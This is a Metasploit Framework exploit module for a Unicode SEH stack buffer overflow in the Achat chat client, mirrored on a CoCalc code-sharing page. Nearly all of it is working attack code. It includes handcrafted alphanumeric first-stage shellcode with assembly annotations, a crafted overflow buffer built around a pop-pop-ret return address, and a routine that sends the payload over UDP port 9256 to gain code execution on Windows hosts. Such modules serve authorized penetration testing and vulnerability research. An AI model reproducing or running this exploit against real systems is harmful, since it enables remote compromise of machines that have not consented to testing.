Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/achat_bof.rb
23686 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Achat Unicode SEH Buffer Overflow',
17
'Description' => %q{
18
This module exploits a Unicode SEH buffer overflow in Achat. By
19
sending a crafted message to the default port 9256/UDP, it's possible to overwrite the
20
SEH handler. Even when the exploit is reliable, it depends on timing since there are
21
two threads overflowing the stack in the same time. This module has been tested on
22
Achat v0.150 running on Windows XP SP3 and Windows 7.
23
},
24
'Author' => [
25
'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
26
'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2025-34127'],
31
['CWE', '121'],
32
],
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process'
35
},
36
'Payload' => {
37
'DisableNops' => true,
38
'Space' => 1200,
39
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
40
'StackAdjustment' => -3500,
41
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
42
'EncoderOptions' =>
43
{
44
'BufferRegister' => 'EAX'
45
}
46
},
47
'Platform' => 'win',
48
'Targets' => [
49
# Tested OK Windows XP SP3, Windows 7
50
# Not working on Windows Server 2003
51
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe
52
],
53
'Privileged' => false,
54
'DefaultTarget' => 0,
55
'DisclosureDate' => '2014-12-18',
56
'Notes' => {
57
'Reliability' => UNKNOWN_RELIABILITY,
58
'Stability' => UNKNOWN_STABILITY,
59
'SideEffects' => UNKNOWN_SIDE_EFFECTS
60
}
61
)
62
)
63
64
register_options(
65
[
66
Opt::RPORT(9256)
67
]
68
)
69
end
70
71
def exploit
72
connect_udp
73
74
# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding
75
# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding
76
# 55 PUSH EBP # ebp holds a close pointer to the payload
77
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
78
# 58 POP EAX # mov eax, ebp
79
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
80
# 05 00140011 ADD EAX,11001400 # adjusting eax
81
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
82
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
83
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
84
# 50 PUSH EAX # eax points to the start of the shellcode
85
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
86
# 58 POP EAX # padding
87
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
88
# 59 POP ECX # padding
89
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
90
first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
91
92
sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
93
sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
94
sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
95
sploit << "\x61\x40" # POPAD + INC EAX
96
97
sploit << target.ret # AChat.exe p/p/r address
98
99
# adjusting the first thread's unicode payload, tricky asm-fu
100
# the first seh exception jumps here, first_stage variable will be executed
101
# by the second seh exception as well. It needs to be in sync with the second
102
# thread, so that is why we adjust eax/ebp to have a close pointer to the
103
# payload, then first_stage variable will take the rest of the job.
104
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
105
# 55 PUSH EBP # ebp with close pointer to payload
106
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
107
# 58 POP EAX # put ebp to eax
108
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
109
# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
110
# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
111
# 05 00140011 ADD EAX,11001400 # more adjusting
112
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
113
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
114
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
115
# 50 PUSH EAX # saving eax
116
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
117
# 5D POP EBP # mov ebp, eax
118
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
119
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
120
sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX
121
sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
122
sploit << "\x00" + 'A' * 10 + "\x00"
123
124
i = 0
125
while i < sploit.length do
126
if i > 172000
127
Rex::sleep(1.0)
128
end
129
sent = udp_sock.put(sploit[i..i + 8192 - 1])
130
i += sent
131
end
132
disconnect_udp
133
end
134
end
135
136